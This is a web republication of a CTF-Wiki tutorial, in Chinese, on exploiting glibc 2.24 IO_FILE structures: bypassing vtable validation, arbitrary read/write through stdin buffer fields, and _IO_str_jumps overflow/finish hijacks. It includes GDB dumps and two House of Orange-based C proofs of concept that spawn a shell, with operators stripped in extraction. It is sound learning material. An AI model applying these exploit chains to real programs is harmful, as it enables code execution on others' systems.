尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTF-Wiki:glibc 2.24 下 IO_FILE 利用進階——vtable 校驗、緩衝區劫持與 `_IO_str_jumps` 實戰

CTF-Wiki:glibc 2.24 下 IO_FILE 利用進階——vtable 校驗、緩衝區劫持與 `_IO_str_jumps` 實戰 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本文基於 CTF-Wiki 的 glibc 2.24 下 IO_FILE 的利用 一文展開系統梳理 glibc 2.24 新增的 vtable 合法性校驗機制IO_validate_vtable/_IO_vtable_check以及校驗引入後誕生的三類新型利用手法透過_IO_buf_base/_IO_buf_end實現任意讀寫、借助_IO_str_jumps的overflow與finish兩個函數完成 getshell。讀者讀完可掌握在 libc 2.242.27 時期針對_IO_FILE的完整攻擊鏈設計思路並能直接複現文中提供的可調試樣例。背景為什麼 glibc 2.24 之後「偽造 vtable」變難了在 glibc 2.24 之前的版本如 2.23針對_IO_FILE_plus的 vtable 劫持是檔案流攻擊的主流手法要麼直接改寫 vtable 中的函數指針要麼把 vtable 指針改指向我們可控的內存並在其中佈置函數指針詳見 偽造 vtable 劫持程序流程。glibc 2.24 為了遏制這類攻擊在呼叫虛函數如overflow、xsputn、finish等之前新增了一道 vtable 地址合法性檢查。快路徑IO_validate_vtableglibc 在libio/vtables.c中引入IO_validate_vtable內聯函數核心邏輯是判斷 vtable 指針是否落在__libc_IO_vtables段內/* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr (uintptr_t) vtable; uintptr_t offset ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }校驗過程可以拆解為三步計算section_length __stop___libc_IO_vtables - __start___libc_IO_vtables即__libc_IO_vtables段的總長度計算offset vtable - __start___libc_IO_vtables若offset section_length即 vtable 不在合法段內呼叫慢路徑_IO_vtable_check()做進一步判斷。慢路徑_IO_vtable_checkvoid attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) atomic_load_relaxed (IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag _IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook ! NULL || (_dl_addr (_IO_vtable_check, di, l, NULL) ! 0 l-l_ns ! LM_ID_BASE)) return; } #else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen ! NULL) return; #endif __libc_fatal (Fatal error: glibc detected an invalid stdio handle\n); }慢路徑允許 vtable 通過的例外情況僅限於幾種「兼容場景」動態連結下若IO_accept_foreign_vtables這個兼容標誌被設置且經過PTR_DEMANGLE後等於_IO_vtable_check自身當前 libc 拷貝位於非默認命名空間l-l_ns ! LM_ID_BASE因為 FILE 對象可能跨連結邊界傳遞靜態連結場景下若__dlopen ! NULL靜態 dlopen 無法校驗。其餘情況一律呼叫__libc_fatal輸出Fatal error: glibc detected an invalid stdio handle並觸發 abort。換句話說只要 vtable 不是位於__libc_IO_vtables段內、又不滿足上述兼容例外程序就會直接終止。這使得以往「把 vtable 指向堆上偽造內存」的利用方式基本被封死。新的利用思路從 vtable 轉向_IO_FILE內部欄位vtable 這條路難走之後利用者的注意力自然轉向了_IO_FILE結構體本身的數據域。回顧 FILE 結構 中的定義64 位元偏移見註釋struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ // 0x00 /* The following pointers correspond to the C streambuf protocol. */ char* _IO_read_ptr; /* Current read pointer */ // 0x08 char* _IO_read_end; /* End of get area. */ // 0x10 char* _IO_read_base; /* Start of putbackget area. */ // 0x18 char* _IO_write_base; /* Start of put area. */ // 0x20 char* _IO_write_ptr; /* Current put pointer. */ // 0x28 char* _IO_write_end; /* End of put area. */ // 0x30 char* _IO_buf_base; /* Start of reserve area. */ // 0x38 char* _IO_buf_end; /* End of reserve area. */ // 0x40 /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ // 0x48 char *_IO_backup_base; /* Pointer to first valid character of backup area */ // 0x50 char *_IO_save_end; /* Pointer to end of non-current get area. */ // 0x58 struct _IO_marker *_markers; // 0x60 struct _IO_FILE *_chain; // 0x68 int _fileno; // 0x70 int _flags2; // 0x74 _IO_off_t _old_offset; /* This used to be _offset but its too small. */ // 0x78 };_IO_FILE在使用標準 I/O 庫時會被建立並維護上述信息其中_IO_write_base_IO_write_end表示寫入區域_IO_read_ptr_IO_read_end表示讀取區域而_IO_buf_base表示緩衝操作的起始地址、_IO_buf_end表示結束地址。這些欄位正是fwrite、fread、scanf、printf等函數在讀寫數據時實際使用的地址——只要控制了它們就能實現任意地址寫或任意地址讀。這裡有一個對利用者非常有利的事實進程啟動時系統默認存在三個文件流stdin、stdout、stderr它們位於 libc.so 的數據段對應符號_IO_2_1_stdin_、_IO_2_1_stdout_、_IO_2_1_stderr_因此即使程序中沒有任何顯式的文件操作沒有fopen、fwrite只要程序中存在scanf/printf同樣可以觸發對這些預設流結構的處理並完成利用。實戰一透過_IO_buf_base/_IO_buf_end實現任意讀寫觀察scanf對_IO_2_1_stdin_的影響先看一個最簡單的樣例程序觀察標準輸入流在第一次使用前後的變化#include stdio.h char buf[100]; int main() { char stack_buf[100]; scanf(%s,stack_buf); scanf(%s,stack_buf); }首次使用stdin之前_IO_2_1_stdin_的內容除_flags與_fileno外幾乎全為空0x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2088 0x0000000000000000 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 _IO_2_1_stdin_80: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 _IO_2_1_stdin_96: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 _IO_2_1_stdin_112: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 _IO_2_1_stdin_128: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 _IO_2_1_stdin_144: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 _IO_2_1_stdin_160: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 _IO_2_1_stdin_176: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 _IO_2_1_stdin_192: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 _IO_2_1_stdin_208: 0x0000000000000000 0x00007ffff7dd06e0 vtable注意最後一個 8 位元組0x7ffff7dd06e0就是_IO_FILE_plus的vtable 指針偏移 0xd8。呼叫scanf之後_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等欄位都被初始化0x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000602010 0x0000000000602410 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 _IO_2_1_stdin_80: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 _IO_2_1_stdin_96: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 _IO_2_1_stdin_112: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 _IO_2_1_stdin_128: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 _IO_2_1_stdin_144: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 _IO_2_1_stdin_160: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 _IO_2_1_stdin_176: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 _IO_2_1_stdin_192: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 _IO_2_1_stdin_208: 0x0000000000000000 0x00007ffff7dd06e0對照結構定義初始化後各欄位與偏移的對應關係如下偏移欄位初始化後的值0x00_flags0xfbad22880x08_IO_read_ptr0x6020130x10_IO_read_end0x6020140x18_IO_read_base0x6020100x20_IO_write_base0x6020100x28_IO_write_ptr0x6020100x30_IO_write_end0x6020100x38_IO_buf_base0x6020100x40_IO_buf_end0x6024100xd8vtable0x7ffff7dd06e0進一步思考可以發現stdin 的緩衝區其實是在堆上分配的。從程序的內存映射可以看出堆基址是0x602000因為在此之前沒有其他堆分配所以緩衝區首地址正好是0x602010Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]分配的堆大小為0x400位元組正好對應_IO_buf_base0x602010到_IO_buf_end0x602410的區間。寫入數據後可以看到緩衝區中存在我們寫入的內容之後才被複製到目標棧緩衝區0x602000: 0x0000000000000000 0x0000000000000411 分配0x400大小 0x602010: 0x000000000a333231 0x0000000000000000 緩衝數據 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000修改_IO_buf_base/_IO_buf_end實現任意寫既然scanf的讀入數據會寫入_IO_buf_base指向的位置那麼只要把_IO_buf_base與_IO_buf_end改成我們想要的目標地址下一次scanf就會把數據寫到任意位置。例如把這兩個欄位改成全局緩衝區buf地址0x7ffff7dd27400x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000602010 0x00007ffff7dd2740 _IO_buf_base 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x00007ffff7dd27c0 0x0000000000000000 _IO_buf_end之後scanf讀入的數據就會寫入0x7ffff7dd2740位置0x7ffff7dd2740 buf: 0x00000a6161616161 0x0000000000000000 0x7ffff7dd2750 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2760 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2770 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2780 buffer: 0x0000000000000000 0x0000000000000000由此可見只要具備對_IO_2_1_stdin_或任意目標流的_IO_FILE結構的讀寫能力配合一次scanf即可完成一次任意地址寫。同理控制_IO_read_ptr/_IO_read_end等讀取欄位並配合printf/fread也可實現任意地址讀。這種思路不需要碰 vtable完全繞開了 glibc 2.24 的 vtable 校驗。實戰二_IO_str_jumps-overflow除了默認的_IO_file_jumpslibc 中還存在另一個 vtable_IO_str_jumps。關鍵在於_IO_str_jumps位於__libc_IO_vtables段內其定義帶有libio_vtable屬性因此在 glibc 2.24 的校驗中可以被正常通過——這正是繞過 vtable 校驗的切入點const struct _IO_jump_t _IO_str_jumps libio_vtable { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };如果我們能把文件指針的 vtable 設置為_IO_str_jumps就能呼叫到一組不同的檔案操作函數。以_IO_str_overflow為例其源碼如下int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only c EOF; _IO_size_t pos; if (fp-_flags _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp-_flags _IO_TIED_PUT_GET) !(fp-_flags _IO_CURRENTLY_PUTTING)) { fp-_flags | _IO_CURRENTLY_PUTTING; fp-_IO_write_ptr fp-_IO_read_ptr; fp-_IO_read_ptr fp-_IO_read_end; } pos fp-_IO_write_ptr - fp-_IO_write_base; if (pos (_IO_size_t) (_IO_blen (fp) flush_only))// should in { if (fp-_flags _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else { char *new_buf; char *old_buf fp-_IO_buf_base; size_t old_blen _IO_blen (fp); _IO_size_t new_size 2 * old_blen 100; if (new_size old_blen)//pass 一般會通過 return EOF; new_buf (char *) (*((_IO_strfile *) fp)-_s._allocate_buffer) (new_size);//target [fp0xe0] if (new_buf NULL) { /* __ferror(fp) 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)-_s._free_buffer) (old_buf); /* Make sure _IO_setb wont try to delete _IO_buf_base. */ fp-_IO_buf_base NULL; } memset (new_buf old_blen, \0, new_size - old_blen); _IO_setb (fp, new_buf, new_buf new_size, 1); fp-_IO_read_base new_buf (fp-_IO_read_base - old_buf); fp-_IO_read_ptr new_buf (fp-_IO_read_ptr - old_buf); fp-_IO_read_end new_buf (fp-_IO_read_end - old_buf); fp-_IO_write_ptr new_buf (fp-_IO_write_ptr - old_buf); fp-_IO_write_base new_buf; fp-_IO_write_end fp-_IO_buf_end; } } if (!flush_only) *fp-_IO_write_ptr (unsigned char) c; if (fp-_IO_write_ptr fp-_IO_read_end) fp-_IO_read_end fp-_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)劫持點分析_IO_str_overflow中真正能劫持程序流程的是這一行new_buf (char *) (*((_IO_strfile *) fp)-_s._allocate_buffer) (new_size);_IO_strfile結構在_IO_FILE_plus含 vtable之後緊跟_IO_strfields其中_allocate_buffer位於fp 0xe0即 vtable 偏移 0xd8 之後的第一個 8 位元組槽位。也就是說只要fp 0xe0指向的函數指針可控就能以new_size為參數呼叫任意函數。再配合new_size 2 * old_blen 100 2 * (_IO_buf_end - _IO_buf_base) 100這個公式若令_IO_buf_base 0、_IO_buf_end (binsh_addr - 100) / 2則new_size恰好等於/bin/sh字符串的地址呼叫system時參數正好是/bin/sh。需要 bypass 的條件要進入_allocate_buffer呼叫分支需要滿足以下條件fp-_flags _IO_NO_WRITES為假pos fp-_IO_write_ptr - fp-_IO_write_base fp-_IO_buf_end - fp-_IO_buf_base flush_onlyflush_only在c EOF時為 1fp-_flags _IO_USER_BUF0x01為假否則直接返回 EOF不會進入擴充分支new_size 2 * (_IO_buf_end - _IO_buf_base) 100不能為負數new_size應指向/bin/sh字符串對應的地址fp 0xe0指向system地址。構造佈局滿足上述條件的典型構造如下64 位元_flags 0 _IO_write_base 0 _IO_write_ptr (binsh_in_libc_addr - 100) / 2 1 _IO_buf_end (binsh_in_libc_addr - 100) / 2 _freeres_list 0x2 _freeres_buf 0x3 _mode -1 vtable _IO_str_jumps - 0x18其中vtable _IO_str_jumps - 0x18是關鍵技巧overflow在_IO_jump_t中位於第 4 項偏移 0x18把 vtable 指針寫成_IO_str_jumps - 0x18既保證了「vtable 0x18」精確落在_IO_str_jumps的overflow槽位呼叫到合法的_IO_str_overflow又讓整體指針仍位於__libc_IO_vtables段附近、可通過IO_validate_vtable的快路徑校驗。_freeres_list、_freeres_buf、_mode的設置是為了讓後續的 abort / exit 清理流程不會在別處崩潰。完整示例改編自 how2heap 的 House of Orange#include stdio.h #include stdlib.h #include string.h int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 malloc(0x400-16); top (size_t *) ( (char *) p1 0x400 - 16); top[1] 0xc01; p2 malloc(0x1000); io_list_all top[2] 0x9a8; top[3] io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] /bin/sh\x00; // we can found /bin/sh in libc, here i create it in stack // top[0] ~1; // top[0] ~8; top[0] 0; top[4] 0; // write_base top[5] ((size_t)binsh_in_libc-100)/2 1; // write_ptr top[7] 0; // buf_base top[8] top[5] - 1; // buf_end // house_of_orange conditions top[1] 0x61; top[20] (size_t) top[18]; top[21] 2; top[22] 3; top[24] -1; top[27] (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 top[28] (size_t) winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }配合 House of Orange 中介紹的 unsorted bin attack可以把_IO_list_all改寫為指向偽造的_IO_FILE即top所在內存。觸發malloc(10)後unsorted bin 中殘留的舊 top chunk 會被切割進程走完後續流程時對偽造_IO_FILE的處理會命中_IO_str_overflow最終winner(/bin/sh)即system(/bin/sh)完成 getshell。其中top[27]對應 vtable 欄位偏移 0xd8top[28]對應_allocate_buffer偏移 0xe0。House of Pig 中的典型應用House of Pig 是將Tcache Stash Unlink Attack與 FSOP 結合的攻擊適用於 libc 2.31 及以後、程序中僅有calloc的場景詳見 House of Pig其核心觸發函數正是_IO_str_overflow。回顧_IO_str_overflow中滿足下列條件時會執行的代碼段pos fp-_IO_write_ptr - fp-_IO_write_base; if (pos (size_t) (_IO_blen (fp) flush_only))一旦條件成立會先後執行三個操作size_t old_blen _IO_blen (fp); // #define _IO_blen (fp) ((fp)-_IO_buf_end - (fp)-_IO_buf_base) new_buf malloc (new_size); memcpy (new_buf, old_buf, old_blen); free (old_buf);偽造_IO_FILE並把 vtable 劫持為_IO_str_jumps再通過一次 large bin attack 就可以輕鬆滿足上述三個語句的執行條件更關鍵的是這三個語句中的new_size、old_buf、old_blen全部是我們可控的因此這個函數可以一口氣完成三步呼叫malloc實現從 tcache 中分配 chunk把先前放入的__free_hookfake chunk 申請出來呼叫memcpy將一段可控長度、可控內容的內存段拷貝到 malloc 得到的 chunk 中可藉此把__free_hook修改為system呼叫free參數為內存段起始地址/bin/sh\x00觸發system(/bin/sh)getshell。也就是說只要構造得當執行一次_IO_str_overflow即可 getshell。House of Pig 的完整利用腳本含 fake_IO_FILE佈局與 large bin attack 的兩次使用可以在 House of Pig 一節中查看。實戰三_IO_str_jumps-finish_IO_str_finish的原理與_IO_str_overflow類似都是利用_IO_strfile擴展區域中的函數指針完成劫持。其源碼如下void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp-_IO_buf_base !(fp-_flags _IO_USER_BUF)) (((_IO_strfile *) fp)-_s._free_buffer) (fp-_IO_buf_base); //[fp0xe8] fp-_IO_buf_base NULL; _IO_default_finish (fp, 0); }劫持點與條件劫持點是_free_buffer位於fp 0xe8呼叫時以fp-_IO_buf_base為參數。需要滿足的條件_IO_buf_base不為空_flags _IO_USER_BUF0x01為假。構造佈局_flags (binsh_in_libc 0x10) ~1 _IO_buf_base binsh_addr _freeres_list 0x2 _freeres_buf 0x3 _mode -1 vtable _IO_str_finish - 0x18 fp0xe8 - system_addr完整示例同樣是改編自 how2heap House of Orange 的代碼可以自己動手調試#include stdio.h #include stdlib.h #include string.h int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 malloc(0x400-16); top (size_t *) ( (char *) p1 0x400 - 16); top[1] 0xc01; p2 malloc(0x1000); io_list_all top[2] 0x9a8; top[3] io_list_all - 0x10; // _IO_str_finish conditions char binsh_in_libc[] /bin/sh\x00; // we can found /bin/sh in libc, here i create it in stack top[0] ((size_t) binsh_in_libc 0x10) ~1; top[7] ((size_t)binsh_in_libc); // buf_base // house_of_orange conditions top[1] 0x61; top[5] 0x1 ; //_IO_write_ptr top[20] (size_t) top[18]; top[21] 2; top[22] 3; top[24] -1; top[27] (size_t) stdin - 0x33f0 - 0x18; top[29] (size_t) winner; top[30] (size_t) top[30]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }注意此例中top[29]對應_free_buffer偏移 0xe8而_flags被設置為(binsh_in_libc 0x10) ~1目的是在滿足_IO_USER_BUF為假的前提下讓_free_buffer的參數_IO_buf_base保持為/bin/sh地址。finish函數通常在進程退出清理fclose/exit流程時被呼叫。觸發機制補充FSOP 與_IO_flush_all_lockp上面兩類_IO_str_jumps攻擊都需要讓程序對偽造的_IO_FILE執行一次「刷新」或「關閉」操作才能觸發對應的 vtable 函數。這正是 FSOP 的應用場景所有_IO_FILE通過_chain域組成鏈表鏈表頭由全局變量_IO_list_all維護FSOP 的核心就是劫持_IO_list_all指向偽造的_IO_FILE然後藉助_IO_flush_all_lockp對鏈表中的每個 FILE 執行fflush操作對應呼叫 vtable 中的_IO_overflow。_IO_flush_all_lockp並不需要攻擊者手動呼叫在以下三種情況會被系統自動觸發libc 執行 abort 流程時執行exit函數時執行流從main函數返回時。如上圖所示當 glibc 檢測到內存損壞例如malloc_printerr進入 abort 流程時_IO_flush_all_lockp會沿_IO_list_all鏈表遍歷並透過JUMP_FIELD(_IO_overflow_t, __overflow)呼叫每個 FILE 的overflow——這正是偽造的 vtable 指向_IO_str_overflow後能被自動觸發的底層鏈路。House of Orange 示例中最後的malloc(10)之所以能引爆整條鏈就是因為大 chunk 申請觸發了錯誤路徑並最終進入上述 abort 清理流程。總結與延伸閱讀glibc 2.24 的 vtable 校驗機制本質上是把「vtable 指針必須指向合法段」作為新的邊界但這並沒有終結 IO_FILE 攻擊而是把攻擊面推向了_IO_FILE結構本身與合法 vtable 內部的「危險函數」不碰 vtable 的思路直接控制_IO_buf_base/_IO_buf_end等緩衝區欄位配合scanf/printf完成任意讀寫利用合法 vtable 的思路把 vtable 指針偽裝成_IO_str_jumps - 0x18讓呼叫落在_IO_str_overflow或_IO_str_finish上藉助_IO_strfile擴展區域中可控的_allocate_bufferfp0xe0/_free_bufferfp0xe8完成 RCE觸發方式_IO_str_overflow的三段式malloc → memcpy → free甚至可以配合 tcache / large bin attack 直接改寫__free_hook完成 getshell。相關的基礎知識與完整利用案例可繼續閱讀本倉庫的以下章節FILE 結構_IO_FILE/_IO_FILE_plus結構與fread、fwrite、fopen、fclose的底層呼叫鏈偽造 vtable 劫持程序流程glibc 2.23 時代的 vtable 劫持手法與 2018 HCTF the_end 實戰FSOP_IO_list_all偽造與_IO_flush_all_lockp觸發機制House of Orange無 free 情況下獲得 unsorted bin 的基礎堆技巧House of Pig_IO_str_overflow在 libc 2.31 下的完整利用流程與腳本。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐Starship 進階安裝完全指南Chocolatey、Termux、Funtoo 與 Nix 平台安裝實戰Starship 進階安裝完全指南Chocolatey、Termux、Funtoo 與 Nix 平台安裝實戰 Starship 是一款以 Rust 撰寫、適用CLI开发工具用 FastGPT 从零搭建智能采购系统供应商评估、动态比价与价格预警实操教程用 FastGPT 从零搭建智能采购系统供应商评估、动态比价与价格预警实操教程 某个周三上午采购专员小林收到三家供应商发来的同一批物料的报价格式各不相同文档网络安全教程PAR Technology 开发者门户迁移实战Scalar 如何支撑一个基于 OpenAPI 与 docs-as-code 的企业级 API 平台PAR Technology 开发者门户迁移实战Scalar 如何支撑一个基于 OpenAPI 与 docs as code 的企业级 API 平台 本文以文档网络安全教程上一篇Sigma File Manager终极下载指南从网络视频到本地存储的完整流程下一篇零代码打造真实世界用Arnis在Minecraft中重建你的城市梦想创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表